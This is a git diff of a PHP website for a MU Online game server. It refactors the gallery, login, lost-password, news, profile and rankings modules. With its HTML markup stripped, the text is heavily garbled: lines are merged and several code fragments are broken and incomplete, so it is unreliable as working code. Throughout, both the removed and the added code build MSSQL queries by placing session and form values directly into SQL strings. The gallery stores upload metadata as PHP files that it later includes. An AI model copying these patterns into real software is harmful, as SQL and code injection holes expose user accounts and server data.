+ + + () + +
+
+ ".mmw_lang_upload_image."";} -elseif(isset($_SESSION['pass']) && isset($_SESSION['user'])) {$upload_acc_check = mmw_lang_cant_add_no_char;} -else {$upload_acc_check = mmw_lang_guest_must_be_logged_on;} -function byteConvert($bytes) { +' . mmw_lang_upload_image . ''; +} elseif (isset($_SESSION['user'])) { + $upload_acc_check = mmw_lang_cant_add_no_char; +} else { + $upload_acc_check = mmw_lang_guest_must_be_logged_on; } // Delete Image -if(isset($_POST['id_delete'])) { - $file_name = preg_replace("/[^a-zA-Z0-9_-]/",'',$_POST['id_delete']); - unset($author); - if(is_file($dir.$file_name.'.dat')) { - include($dir.$file_name.'.dat'); - if($mmw[status_rules][$_SESSION[mmw_status]][image_delete]==1 || $_SESSION['char_set'] == $author) { - unlink($dir."$file_name.$format"); - unlink($dir."small_$file_name.$format"); - unlink($dir.$file_name.".dat"); - mssql_query("DELETE FROM MMW_comment WHERE c_id_code='$file_name'"); - echo $okey_start . mmw_lang_image_deleted . $okey_end; - writelog("gallery","Image $file_name Has Been Deleted"); +if (isset($_POST['id_delete'])) { + $file_name = preg_replace('/[^\w_-]/', '', $_POST['id_delete']); + $dataFile = __DIR__ . '/../' . $dir . $file_name . '.php'; + if (is_file($dataFile)) { + unset($author); + include $dataFile; + /** @var string $author */ + /** @var string $format */ + if ($mmw['status_rules'][$_SESSION['mmw_status']]['image_delete'] || $_SESSION['character'] === $author) { + unlink($dir . $file_name . '.' . $format); + unlink($dir . 'small_' . $file_name . '.' . $format); + unlink($dataFile); + mssql_query("DELETE FROM dbo.MMW_comment WHERE c_id_code='{$file_name}'"); + echo $okey_start . mmw_lang_image_deleted . $okey_end; + writelog('gallery', 'Image ' . $file_name . ' Has Been Deleted'); + } + } else { + echo $die_start . mmw_lang_left_blank . $die_end; } - } - else { - echo $die_start . mmw_lang_left_blank . $die_end; - } - echo $rowbr; + echo $rowbr; } // Add Image -if($_GET[w]=='add' && isset($_SESSION['char_set'])) { - if(isset($_FILES['image'])) { - if(is_file($dir.$mmw[rand_id].'.dat')) { - echo $die_start . mmw_lang_image_exists . $die_end; - } - else { - $file_name = basename($_FILES['image']['name']); - $file_size = $_FILES['image']['size']; - $file_format = strtolower(substr($file_name, -3)); - $file_maxsize = "2000000"; - $target = $dir.$mmw[rand_id].".$file_format"; - - if(empty($_FILES['image']) || empty($_POST[name]) || empty($_POST[comment])) { - echo $die_start . mmw_lang_left_blank . $die_end; - } - elseif($file_size > $file_maxsize) { - echo $die_start . mmw_lang_file_size_max . $die_end; - } - elseif($file_format!='jpg' && $file_format!='png' && $file_format!='gif') { - echo $die_start . mmw_lang_image_no_image . $die_end; - } - elseif(move_uploaded_file($_FILES['image']['tmp_name'],$target)) { - $name = bugsend(stripslashes($_POST[name])); - $comment = bugsend(stripslashes($_POST[comment])); - $author = stripslashes($_SESSION['char_set']); - $date = time(); - $image_size = getimagesize($target); - - $data = ""; - $fp = fopen($dir.$mmw[rand_id].".dat", 'w'); - fputs($fp, $data); - fclose($fp); - echo $okey_start . mmw_lang_image_uploaded . $okey_end; - writelog("gallery","Image $mmw[rand_id] Has Been Added"); +if ($_GET['w'] === 'add' && !empty($_SESSION['character'])) { + if (isset($_FILES['image'])) { + if (is_file($dir . $mmw['rand_id'] . '.php')) { + echo $die_start . mmw_lang_image_exists . $die_end; + } else { + $file_name = basename($_FILES['image']['name']); + $file_size = $_FILES['image']['size']; + $file_format = strtolower(substr($file_name, -3)); + $file_maxsize = '2000000'; + $target = $dir . $mmw['rand_id'] . '.' . $file_format; + + if (empty($_FILES['image']) || empty($_POST['name']) || empty($_POST['comment'])) { + echo $die_start . mmw_lang_left_blank . $die_end; + } elseif ($file_size > $file_maxsize) { + echo $die_start . mmw_lang_file_size_max . $die_end; + } elseif (!in_array($file_format, array('jpg', 'png', 'gif'))) { + echo $die_start . mmw_lang_image_no_image . $die_end; + } elseif (move_uploaded_file($_FILES['image']['tmp_name'], $target)) { + $name = bugsend(stripslashes($_POST['name'])); + $comment = bugsend(stripslashes($_POST['comment'])); + $author = $_SESSION['character']; + $image_size = getimagesize($target); + $date = time(); + + $data = "' . $mmw['rand_id'] . ' Has Been Added'); + } else { + echo $die_start . 'Total error!' . $die_end; + } + } + echo $rowbr; } - else { - echo "$die_start Total ErroR! $die_end"; + ?> +
+ + + + + + + + + + + + + + + + + +
:
: + +
: + +
: + + +
+
+ '; + } + ?> +
+ [ ] +
+
+ +
+ + + + +
+ "> + + +
+ +
+ + | " . date('d.m.Y', $date) . ''; ?> + | $author"; ?> +
+ -
- - - - - - - - - - - - - - - - - -
:
:
:
:
-
-";} - else {$edit = '';} -?> - - - - -
[ ]
-
-
- - - -
- -
".date('d.m.Y',$date);?> | $author";?>
- 120) { - $sizeh = 120; - $sizew = $width * $sizeh / $height; +if (!isset($_GET['w']) && $dh = opendir($dir)) { + $num = 0; + $file_list = ''; + $char_info = array(); + while (($file = readdir($dh)) !== false) { + $format = substr($file, -3); + if ($format === 'php') { + $num++; + $file_name = substr($file, 0, -4); + include $dir . $file_name . '.php'; + $url = $dir . $file_name . '.' . $format; + $smallUrl = $dir . 'small_' . $file_name . '.' . $format; + + if (!is_file($smallUrl)) { + img_resize($url, 300, 300, $dir, 'small_' . $file_name . '.' . $format); + } + $image_size = getimagesize($smallUrl); + + $sizeW = $image_size[0]; + $sizeH = $image_size[1]; + + if ($sizeH > 120) { + $sizeH = 120; + $sizeW = $width * $sizeH / $height; + } + if ($sizeW > 160) { + $sizeW = 160; + $sizeH = $height * $sizeW / $width; + } + + if (empty($char_info[$author][0])) { + $result_char = mssql_query("SELECT CtlCode FROM dbo.Character WHERE Name='{$author}'"); + $char_info[$author] = mssql_fetch_row($result_char); + } + + $edit = ''; + if ($mmw['status_rules'][$_SESSION['mmw_status']]['image_delete'] || $_SESSION['character'] === $author) { + $edit .= '
'; + } + + $file_list .= ' + + + + +
+ + + + + ' . $name . ' ' . $edit . '
+ ' . mmw_lang_author . ': ' . $author . '
+ ' . mmw_lang_image_comment . ': ' . $comment . '
+ ' . mmw_lang_date . ': ' . date('d.m.Y H:i:s', $date) . '
+ ' . mmw_lang_image_size . ': ' . $width . 'x' . $height . '
+ ' . mmw_lang_file_size . ': ' . byteConvert($size) . ' +
' . PHP_EOL . $rowbr; } - if($sizew > 160) { - $sizew = 160; - $sizeh = $height * $sizew / $width; - } - - if(empty($char_info[$author][0])) { - $result_char = mssql_query("SELECT CtlCode FROM Character WHERE Name='$author'"); - $char_info[$author] = mssql_fetch_row($result_char); - } - - if($mmw[status_rules][$_SESSION[mmw_status]][image_delete]==1 || $_SESSION['char_set'] == $author) - {$edit = "
";} - else {$edit = '';} - - $file_list = $file_list . " - - -
- $name $edit
".mmw_lang_author.": $author
".mmw_lang_image_comment.": $comment
".mmw_lang_date.": ".date('d.m.Y H:i:s',$date)."
".mmw_lang_image_size.": $width".'x'."$height
".mmw_lang_file_size.": ".byteConvert($size)."
\n " . $rowbr; - } - } - closedir($dh); - - if(!isset($_GET[w])) { -?> - - - - - -
: [ ]
- \ No newline at end of file + } + closedir($dh); + + ?> +
+ [ ] + : +
+ -
- - - - - - - - - - - - - - - - - - - - - - - -
:
:
:
:
:
+ + + + + + + + + + + + + + + + + + + + + + + + +
+ Mark + :
:
: + +
:
: + +
- + - - - - - - - - - - + + + + + + + + + + + + ' + : ''; + $class = char_class($row[2]); + $position = guild_status($row[1]); - $status_reults = mssql_query("Select ConnectStat from MEMB_STAT where memb___id='$character_show[3]'"); - $status = mssql_fetch_row($status_reults); - $statusdc_reults = mssql_query("Select GameIDC from AccountCharacter where Id='$character_show[3]'"); - $statusdc = mssql_fetch_row($statusdc_reults); - - if($status[0] == 1 && $statusdc[0] == $row[0]) - {$status[0] ='';} - else {$status[0] ='';} - - $rank = $i+1; -echo " - - - - - - -"; -} -?> + echo << + + + + + + + +HTML; + $rank++; + } + ?> +
#
#
$rank$status[0] $row[0]$character_show[1]$character_show[0]".char_class($character_show[2],off)."".guild_status($row[1])."
{$rank}{$status} {$row[0]}{$row[4]}{$row[3]}{$class}{$position}
\ No newline at end of file diff --git a/modules/info.html b/modules/info.html new file mode 100644 index 0000000..b2f26a2 --- /dev/null +++ b/modules/info.html @@ -0,0 +1,76 @@ +
:: Server Information ::
+ +
+ +
+ Your Info About Server, This is MMW - MyMuWeb by Vaflan.
+ This text can edit in modules.
+ Visit: http://mmw.clan.su

+
+ + + + + + + + + + + + +
+
+ Version: 1.02k
+ Bless Bug: On
+ Level Points: 5-6/7
+ Max level: 400lvl
+ Max Stats: 64000
+ Guild Creation: 200lvl
+ Character deleta: < 200lvl
+ [POST]: > 200lvl (/post)
+ Extra Ware House: ~ (no MAX Zen)
+
+
+
+ Administrator
+ Name
+
+ Game Master
+ Name
+
+
+ +

+ +
:: System Requirements ::
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
Sys.MinimumRecommended
CPUPentium III - 800 MhzPentium IV - 1800 Mhz
RAM128 MB512 MB
SO/OSWin9xWin2000/XP
Video64MBDirectX 8.1a
\ No newline at end of file diff --git a/modules/info.php b/modules/info.php deleted file mode 100644 index af6ef94..0000000 --- a/modules/info.php +++ /dev/null @@ -1,68 +0,0 @@ -
:: Server Information ::
- - - -
-Your Info About Server, This is MMW - MyMuWeb by Vaflan.
-This text can edit in modules/info.php.
-Visit: http://mmw.clan.su

-
- - - - - - -

-Version: 1.02k
-Bless Bug: On
-Level Points: 5-6/7
-Max level: 400lvl
-Max Stats: 64000
-Guild Creation: 200lvl
-Character deleta: < 200lvl
-[POST]: > 200lvl (/post)
-Extra Ware House: ~ (no MAX Zen)
-
-
- -
Administrator
-Name
-
Game Master
-Name
-
-
- -
- -
:: System Requirements ::
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sys.MinimumRecommended
CPUPentium III - 800 MhzPentium IV - 1800 Mhz
RAM128 MB512 MB
SO/OSWin9xWin2000/XP
Video64MBDirectX 8.1a
\ No newline at end of file diff --git a/modules/login.php b/modules/login.php index c5785ab..6ff979d 100644 --- a/modules/login.php +++ b/modules/login.php @@ -1,23 +1,39 @@ - -
- - - - - - - - - - - - -
+ + + + + + + + + + + + + +
+ +
+ +
+ + +
-
- :: -
\ No newline at end of file +
+ :: + +
\ No newline at end of file diff --git a/modules/lostpass.php b/modules/lostpass.php index 0a7e9ee..b23489d 100644 --- a/modules/lostpass.php +++ b/modules/lostpass.php @@ -1,81 +1,92 @@ - $account, + 'email' => $email, + ); + $quest = $account_check[1]; + } else { + $step = null; echo $die_start . mmw_lang_account_or_email_address_is_incorrect . $die_end . $rowbr; } - } -elseif($_GET["step"]=="2") - { - $login = clean_var(stripslashes($_POST['username'])); - $email = clean_var(stripslashes($_POST['email'])); - $quest = clean_var(stripslashes($_POST['quest'])); - $answer = clean_var(stripslashes($_POST['answer'])); - $username_check = mssql_query("SELECT fpas_answ FROM MEMB_INFO WHERE fpas_ques='$quest' and memb___id='$login'"); - $username_check = mssql_fetch_row($username_check); - if($username_check[0]==$answer) {$step = "2";} - else { - $step = ""; +} elseif ($step === 2) { + $account = $_SESSION['last_password']['account']; + $email = $_SESSION['last_password']['email']; + $answer = clean_var($_POST['answer']); + $account_check = mssql_fetch_row(mssql_query("SELECT fpas_answ, memb__pwd FROM dbo.MEMB_INFO WHERE mail_addr='{$email}' and memb___id='{$account}'")); + if ($account_check[0] !== $answer) { + $step = null; echo $die_start . mmw_lang_secret_answer_is_incorrect . $die_end . $rowbr; } - } -?> +} - -
- - - - - - - - - - - - -
-
- + +switch($step) { + case 1: +?>
- - - - - - - - - - - - - - - -
+ + + + + + + + + + + + +
+ + +
- +
+ + + + + + + + + + + + +
+ + +
+
+ \ No newline at end of file diff --git a/modules/news.php b/modules/news.php index 902dff4..ad530aa 100644 --- a/modules/news.php +++ b/modules/news.php @@ -1,59 +1,101 @@ -= $from) { - if($row[5]!=' ' && $row[5]!=NULL && $mmw[long_news_txt]!=0) {$news_row_1 = $mmw[news_row_1].substr($row[5],0,$mmw[long_news_txt])." ...";} - elseif($row[5]!=' ' && $row[5]!=NULL && $mmw[long_news_txt]==0) {$news_row_1 = $mmw[news_row_1].$row[5];} - else {$news_row_1 = '';} - if($row[6]!=' ' && $row[6]!=NULL && $mmw[long_news_txt]!=0) {$news_row_2 = $mmw[news_row_2].substr($row[6],0,$mmw[long_news_txt])." ...";} - elseif($row[6]!=' ' && $row[6]!=NULL && $mmw[long_news_txt]==0) {$news_row_2 = $mmw[news_row_2].$row[6];} - else {$news_row_2 = '';} - if($row[7]!=' ' && $row[7]!=NULL && $mmw[long_news_txt]!=0) {$news_row_3 = $mmw[news_row_3].substr($row[7],0,$mmw[long_news_txt])." ...";} - elseif($row[7]!=' ' && $row[7]!=NULL && $mmw[long_news_txt]==0) {$news_row_3 = $mmw[news_row_3].$row[7];} - else {$news_row_3 = '';} - $comm_result = mssql_query("SELECT c_id FROM MMW_comment WHERE c_id_blog='1' AND c_id_code='$row[4]'"); - $comm_num = mssql_num_rows($comm_result); - $date = date("d.m.Y", $row[3]); - $time = date("H:i:s", $row[3]); - - echo ' - -
- -
'.bbcode($news_row_1.$news_row_2.$news_row_3).'
-
'.mmw_lang_category.': '.$row[2].' | '.mmw_lang_author.': '.$row[1].' | '.mmw_lang_date.': '.$date.' | '.mmw_lang_total_comment.': '.$comm_num.'
-
'; - if($i < $now_total - 1) {echo $rowbr;} - } + mmw_lang_category, + 'author' => mmw_lang_author, + 'date' => mmw_lang_date, + 'total_comment' => mmw_lang_total_comment, +); + +for ($i = 0; $i < $now_total; ++$i) { + $row = mssql_fetch_row($get_news); + if ($i >= $from) { + if (!empty($row[5])) { + $news_row_1 = !empty($mmw['long_news_txt']) + ? $mmw['news_row_1'] . substr($row[5], 0, $mmw['long_news_txt']) . ' ...' + : $mmw['news_row_1'] . $row[5]; + } else { + $news_row_1 = ''; + } + if (!empty($row[6])) { + $news_row_2 = !empty($mmw['long_news_txt']) + ? $mmw['news_row_2'] . substr($row[6], 0, $mmw['long_news_txt']) . ' ...' + : $mmw['news_row_2'] . $row[6]; + } else { + $news_row_2 = ''; + } + if (!empty($row[7])) { + $news_row_3 = !empty($mmw['long_news_txt']) + ? $mmw['news_row_3'] . substr($row[7], 0, $mmw['long_news_txt']) . ' ...' + : $mmw['news_row_3'] . $row[7]; + } else { + $news_row_3 = ''; + } + $comm_num = intval($row[8]); + $date = date('d.m.Y', $row[3]); + $time = date('H:i:s', $row[3]); + $content = bbcode($news_row_1 . $news_row_2 . $news_row_3); + + echo << + +
{$content}
+
{$language['category']}: {$row[2]} | {$language['author']}: {$row[1]} | {$language['date']}: {$date} | {$language['total_comment']}: {$comm_num}
+ +HTML; + if ($i < $now_total - 1) { + echo $rowbr; + } + } } // Page Creator -if($pg > 1) { - $prev = ($pg - 1); // Previous Link - $paginator = " "; +$paginator = array(); +if ($page > 1) { + $prev = ($page - 1); + $paginator[] = ''; } -for($i = 1; $i <= $total_pgs; $i++) { /// Numbers - if(($pg) == $i) {$paginator .= ' '.$i.' ';} - else {$paginator .=' '.$i.' '; } +for ($i = 1; $i <= $total_pgs; $i++) { + $paginator[] = ($page === $i) + ? ' ' . $i . ' ' + : ' ' . $i . ' '; } -if($pg < $total_pgs) { - $next = ($pg + 1); // Next Link - $paginator .= " "; +if ($page < $total_pgs) { + $next = ($page + 1); + $paginator[] = ''; +} + +if (!empty($paginator)) { + echo $rowbr . '
[ ' . implode(' ', $paginator) . ' ]
'; } -if($paginator != NULL) {echo $rowbr . "
[ $paginator ]
";} -?> \ No newline at end of file diff --git a/modules/news_full.php b/modules/news_full.php index 17717b6..e826b2f 100644 --- a/modules/news_full.php +++ b/modules/news_full.php @@ -1,27 +1,41 @@ - mmw_lang_category, + 'author' => mmw_lang_author, + 'date' => mmw_lang_date, + 'total_comment' => mmw_lang_total_comment, +); -echo ' -
-
'.$row[0].'
-
'.bbcode($news_row_1.$news_row_2.$news_row_3).'
-
'.mmw_lang_category.': '.$row[2].' | '.mmw_lang_author.': '.$row[1].' | '.mmw_lang_date.': '.$date.' -
-
'; +while ($row = mssql_fetch_row($get_news)) { + $date = date('H:i:s d.m.Y', $row[3]); + if (!empty($row[4])) { + $news_row_1 = $mmw['news_row_1'] . $row[4] . $mmw['news_row_end']; + } + if (!empty($row[5])) { + $news_row_2 = $mmw['news_row_2'] . $row[5] . $mmw['news_row_end']; + } + if (!empty($row[6])) { + $news_row_3 = $mmw['news_row_3'] . $row[6] . $mmw['news_row_end']; + } + + $content = bbcode($news_row_1 . $news_row_2 . $news_row_3); + + echo << +
{$row[0]}
+
{$content}
+
{$language['category']}: {$row[2]} | {$language['author']}: {$row[1]} | {$language['date']}: {$date}
+ +HTML; } -$c_id_blog=1; -$c_id_code=$news_id; -include("includes/comment.php"); -?> \ No newline at end of file +comment_module(1, $news_id); diff --git a/modules/profile.php b/modules/profile.php index 054cf94..c899d33 100644 --- a/modules/profile.php +++ b/modules/profile.php @@ -1,107 +1,142 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
:
:
:
:
:
:
:
Yahoo!:
MSN:
ICQ:
Skype:
:
+if (empty($profile_info)) { + echo $die_start . 'Profile does not exist' . $die_end; +} elseif (!empty($profile_info[4]) && !$mmw['status_rules'][$_SESSION['mmw_status']]['gm_option']) { + echo $die_start . 'Profile hidden!' . $die_end; +} else { + if (empty($profile_info[2])) { + $profile_info[2] = mmw_lang_no_set; + } + if (empty($profile_info[5])) { + $profile_info[5] = mmw_lang_no_set; + } + if (empty($profile_info[6])) { + $profile_info[6] = mmw_lang_no_set; + } + if (empty($profile_info[7])) { + $profile_info[7] = mmw_lang_no_set; + } + if (empty($profile_info[8])) { + $profile_info[8] = mmw_lang_no_set; + } + if (empty($profile_info[3])) { + $profile_info[3] = default_img('no_avatar.jpg'); + } + ?> - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
:
:
:
:
:
:
:
Yahoo!:
MSN:
ICQ:
Skype:
:
- - - - - - - - -'; -} + -for($i=0; $i<$row_num; ++$i) { - $rank = $i+1; - $row = mssql_fetch_row($result); - $status_reults = mssql_query("Select ConnectStat from MEMB_STAT where memb___id='$account_get'"); - $status = mssql_fetch_row($status_reults); - $statusdc_reults = mssql_query("Select GameIDC from AccountCharacter where Id='$account_get'"); - $statusdc = mssql_fetch_row($statusdc_reults); +
#
'.mmw_lang_no_characters.'
+ + + + + + + + + + + ';} - else {$status[0] ='';} + if (empty($rowCount)) { + echo ''; + } else { + $rank = 1; + while ($row = mssql_fetch_row($result)) { + $status = ($row[4] && $row[5] === $row[0]) + ? '' + : ''; + $class = char_class($row[1]); -echo " - - - - - - "; + echo << + + + + + + +HTML; + $rank++; + } + } + echo '
#
' . mmw_lang_no_characters . '
$rank$status[0] $row[0]$row[3]$row[2]".char_class($row[1],off)."
{$rank}{$status} {$row[0]}{$row[3]}{$row[2]}{$class}
'; } -?> - \ No newline at end of file diff --git a/modules/rankings.php b/modules/rankings.php index b0a5db4..1d756f3 100644 --- a/modules/rankings.php +++ b/modules/rankings.php @@ -1,53 +1,90 @@ - + - - -
- : - - : - - -
- - - +$topCount = array(10, 25, 50, 100); - +$topRank = array( + 'all' => mmw_lang_all_characters, + 'pk' => mmw_lang_all_killers, + 'guild' => mmw_lang_all_guilds, + 'online' => mmw_lang_online_characters, +); -
- -
\ No newline at end of file + + + + + +
+
+ : + + : + + +
+
+ + + +
+ +
diff --git a/modules/rankings/3d_online.php b/modules/rankings/3d_online.php deleted file mode 100644 index e477b0a..0000000 --- a/modules/rankings/3d_online.php +++ /dev/null @@ -1,53 +0,0 @@ -\n
".mmw_lang_total_users_online.": $row_num, ".mmw_lang_character." [".mmw_lang_reset."/".mmw_lang_level."]"; - -for($i=0;$i < $row_num;++$i) { - $rand = rand(6,10); - $row = mssql_fetch_row($result); - $idc_reults = mssql_query("Select GameIDC from AccountCharacter where Id='$row[0]'"); - $idc = mssql_fetch_row($idc_reults); - $char_reults = mssql_query("Select Name,Class,Reset,cLevel,AccountID from Character where name='$idc[0]'"); - $char = mssql_fetch_row($char_reults); - - $mmwflashbody = $mmwflashbody . "%3Ca href=%27%3Fop=character%26character=$char[0]%27 %62%79=%27%76%61%66%6C%61%6E%27 style=%27font-size: ".$rand."pt;%27%3E$char[0] [$char[2]/$char[3]]%3C/a%3E "; -} - -if(!isset($flash_body_size)) { - $flash_body_size = "500"; -} -?> - -
-

- -

-

WP Cumulus Flash tag cloud Edited by Vaflan.

-
- - \ No newline at end of file diff --git a/modules/rankings/character.php b/modules/rankings/character.php index d34d791..5623624 100644 --- a/modules/rankings/character.php +++ b/modules/rankings/character.php @@ -1,65 +1,84 @@ -='0' $no_gm_in_top order by reset desc, clevel desc"; -$query_race[dw] = "Select TOP $top_rank Name,Class,cLevel,Reset,AccountID from Character where class>='0' and class<='15' $no_gm_in_top order by reset desc, clevel desc"; -$query_race[dk] = "Select TOP $top_rank Name,Class,cLevel,Reset,AccountID from Character where class>='16' and class<='31' $no_gm_in_top order by reset desc, clevel desc"; -$query_race[elf] = "Select TOP $top_rank Name,Class,cLevel,Reset,AccountID from Character where class>='32' and class<='47' $no_gm_in_top order by reset desc, clevel desc"; -$query_race[mg] = "Select TOP $top_rank Name,Class,cLevel,Reset,AccountID from Character where class>='48' and class<='63' $no_gm_in_top order by reset desc, clevel desc"; -$query_race[dl] = "Select TOP $top_rank Name,Class,cLevel,Reset,AccountID from Character where class>='64' and class<='79' $no_gm_in_top order by reset desc, clevel desc"; -$query_race[sum] = "Select TOP $top_rank Name,Class,cLevel,Reset,AccountID from Character where class>='80' and class<='95' $no_gm_in_top order by reset desc, clevel desc"; +$query_race['all'] = "c.Class>-1"; +$query_race['dw'] = "c.Class>=0 AND c.Class<=15"; +$query_race['dk'] = "c.Class>=16 AND c.Class<=31"; +$query_race['elf'] = "c.Class>=32 AND c.Class<=47"; +$query_race['mg'] = "c.Class>=48 AND c.Class<=63"; +$query_race['dl'] = "c.Class>=64 AND c.Class<=79"; +$query_race['sum'] = "c.Class>=80 AND c.Class<=95"; +$query_race['rf'] = "c.Class>=96 AND c.Class<=112"; +?> -$result = @mssql_query($query_race[$race]); -$row_num = @mssql_num_rows($result); +
+
+
-echo "
".mmw_lang_top." $top_rank ".mmw_lang_characters."
 
- - - - - - - - - "; +
#".mmw_lang_character."".mmw_lang_reset."".mmw_lang_level."".mmw_lang_class."".mmw_lang_guild."
+ + + + + + + + + + + + '; -} + if (empty($row_num)) { + echo ''; + } else { + $rank = 1; + while ($row = mssql_fetch_row($result)) { + $status = ($row[4] && $row[5] === $row[0]) + ? '' + : ''; + $class = char_class($row[1]); -for($i=0; $i<$row_num; ++$i) { - $rank = $i+1; - $row = mssql_fetch_row($result); - $status_reults = mssql_query("Select ConnectStat from MEMB_STAT where memb___id='$row[4]'"); - $status = mssql_fetch_row($status_reults); - $statusdc_reults = mssql_query("Select GameIDC from AccountCharacter where Id='$row[4]'"); - $statusdc = mssql_fetch_row($statusdc_reults); - if(empty($_SESSION['guild_'.$row[0]])) { - $guild_reults = mssql_query("Select G_Name from GuildMember where Name='$row[0]'"); - $_SESSION['guild_'.$row[0]] = mssql_fetch_row($guild_reults); + echo << + + + + + + + +HTML; + $rank++; + } } - $guild = $_SESSION['guild_'.$row[0]]; - - if($status[0] == 1 && $statusdc[0] == $row[0]) {$status[0] ='';} - else {$status[0] ='';} - -echo " - - - - - - - "; -} -?> + ?> +
#
'.mmw_lang_no_characters.'
' . mmw_lang_no_characters . '
{$rank}{$status} {$row[0]}{$row[3]}{$row[2]}{$class}{$row[6]}
$rank$status[0] $row[0]$row[3]$row[2]".char_class($row[1],off)."$guild[0]
\ No newline at end of file diff --git a/modules/rankings/gens.php b/modules/rankings/gens.php new file mode 100644 index 0000000..7eccc8c --- /dev/null +++ b/modules/rankings/gens.php @@ -0,0 +1,90 @@ + + +
+Durpian vs Vanert
+
+ + + + + + +
+ + + + + + + + + + '; + } else { + $rank = 1; + foreach ($gens[1]['list'] as $row) { + $status = ($row[4] && $row[5] === $row[0]) + ? '' + : ''; + + echo " "; + $rank++; + } + } + ?> + +
#
' . mmw_lang_no_characters . '
$rank$status $row[0]$row[1]
+
+ + + + + + + + + '; + } else { + $rank = 1; + foreach ($gens[2]['list'] as $row) { + $status = ($row[4] && $row[5] === $row[0]) + ? '' + : ''; + + echo " "; + $rank++; + } + } + ?> +
#
' . mmw_lang_no_characters . '
$rank$status $row[0]$row[1]
+
diff --git a/modules/rankings/guild.php b/modules/rankings/guild.php index 5fe5f0e..39684a8 100644 --- a/modules/rankings/guild.php +++ b/modules/rankings/guild.php @@ -1,43 +1,61 @@ - -

 
- - - - - - - - - -';} -for($i=0;$i < $row_num;++$i) - { - $row = mssql_fetch_row($result); - if(empty($row[1]) || $row[1]<0) - {mssql_query("UPDATE guild SET [G_Score]='0' WHERE G_Name='$row[0]'");$row[1]="0";} - $rank = $i+1; - $logo = urlencode(bin2hex($row[3])); +
+
+
- $members = mssql_num_rows( mssql_query("SELECT name FROM Guildmember WHERE G_Name='$row[0]'") ); +
#
'.mmw_lang_no_guilds.'
+ + + + + + + + + + + + - - - - - - - "; - } -?> + if (empty($row_num)) { + echo ''; + } else { + $rank = 1; + while ($row = mssql_fetch_row($result)) { + $logo = urlencode(bin2hex($row[3])); + + echo << + + + + + + + +HTML; + $rank++; + } + } + ?> +
#
$rank$row[0]$row[1]$row[2]$members
' . mmw_lang_no_guilds . '
{$rank}{$row[0]}{$row[1]}{$row[2]}{$row[4]}Mark
\ No newline at end of file diff --git a/modules/rankings/online.php b/modules/rankings/online.php index 6d0ff33..0045b07 100644 --- a/modules/rankings/online.php +++ b/modules/rankings/online.php @@ -1,48 +1,67 @@ - -

 
- - - - - - - - - - -'; -} +
+
+
-for($i=0;$i < $row_num;++$i) { - $row = mssql_fetch_row($result); - $rank = $i+1; - $idc_reults = mssql_query("Select GameIDC from AccountCharacter where Id='$row[0]'"); - $idc = mssql_fetch_row($idc_reults); +
#
'.mmw_lang_all_characters_is_offline.'
+ + + + + + + + + + + + + '; + } else { + $rank = 1; + while ($row = mssql_fetch_row($result)) { + $image = default_img('online.gif'); + $class = char_class($row[4]); + $time = time_format($row[2], 'd M Y, H:i'); - $char_reults = mssql_query("Select Name,Class,Reset,cLevel,AccountID from Character where name='$idc[0]'"); - $char = mssql_fetch_row($char_reults); - -echo " - - - - - - - - "; -} -?> + echo << + + + + + + + + +HTML; + } + } + ?> +
#
' . mmw_lang_all_characters_is_offline . '
$rank $char[0]$char[2]$char[3]".char_class($char[1],off)."$row[1]".time_format($row[2],"d M Y, H:i")."
{$rank} {$row[3]}{$row[6]}{$row[5]}{$class}{$row[1]}{$time}
\ No newline at end of file diff --git a/modules/rankings/pk.php b/modules/rankings/pk.php index d35d95d..9ba27f9 100644 --- a/modules/rankings/pk.php +++ b/modules/rankings/pk.php @@ -1,49 +1,70 @@ - -

 
- - - - - - - - - -0 $no_gm_in_top order by pkcount desc"); -$row_num = @mssql_num_rows($result); -if($row_num==0) { - echo ''; -} +$topCount = intval($_POST['top_rank']); -for($i=0;$i < $row_num;++$i) -{ -$row = mssql_fetch_row($result); -$rank = $i+1; +if (!$mmw['gm_show']) { + $no_gm_in_top = "AND c.CtlCode NOT IN (8, 32)"; +} +?> -$status_reults = mssql_query("Select ConnectStat from MEMB_STAT where memb___id='$row[4]'"); -$status = mssql_fetch_row($status_reults); -$statusdc_reults = mssql_query("Select GameIDC from AccountCharacter where Id='$row[4]'"); -$statusdc = mssql_fetch_row($statusdc_reults); +
+
+
-if($status[0] == 1 && $statusdc[0] == $row[0]) {$status[0] ='';} -else {$status[0] ='';} +
#
'.mmw_lang_no_characters.'
+ + + + + + + + + + + + 0 {$no_gm_in_top} + ORDER BY c.PkCount DESC"); + $row_num = mssql_num_rows($result); + if (empty($row_num)) { + echo ''; + } else { + $rank = 1; + while ($row = mssql_fetch_row($result)) { + $status = ($row[4] && $row[5] === $row[0]) + ? '' + : ''; + $class = char_class($row[1]); -echo " - - - - - - - "; -} -?> + echo << + + + + + + + +HTML; + $rank++; + } + } + ?> +
#
' . mmw_lang_no_characters . '
$rank$status[0] $row[0]$row[5]$row[2]$row[3]".char_class($row[1],off)."
{$rank}{$status} {$row[0]}$row[6]$row[3]$row[2]{$class}
\ No newline at end of file diff --git a/modules/rankings/search_acc.php b/modules/rankings/search_acc.php index b2c65ba..cfcaa2f 100644 --- a/modules/rankings/search_acc.php +++ b/modules/rankings/search_acc.php @@ -1,46 +1,65 @@ - -


 
- - - - - - - - - -'; -} -for($i=0;$i < $row_num;++$i) { - $row = mssql_fetch_row($result); +
+
+
- $status_reults = mssql_query("Select ConnectStat from MEMB_STAT where memb___id='$row[0]'"); - $status = mssql_fetch_row($status_reults); - if($status[0] == 0){$status[0] ='';} - if($status[0] == 1){$status[0] ='';} +
#
'.mmw_lang_cant_find.'
+ + + + + + + + + + + + '; + } else { + $rank = 1; + while ($row = mssql_fetch_row($result)) { + $gender = gender($row[2]); + $country = country($row[3]); + $status = ($row[5]) + ? '' + : ''; - $rank = $i+1; - - echo " - - - - - - - "; -} -?> + echo << + + + + + + + +HTML; + $rank++; + } + } + ?> +
#
' . mmw_lang_cant_find . '
$rank$row[0]$row[1]".gender($row[2])."".country($row[3])."$status[0]
{$rank}{$row[0]}{$row[1]}{$gender}{$country}{$status}
\ No newline at end of file diff --git a/modules/rankings/search_char.php b/modules/rankings/search_char.php index 8137b22..98612e0 100644 --- a/modules/rankings/search_char.php +++ b/modules/rankings/search_char.php @@ -1,46 +1,63 @@ - -


 
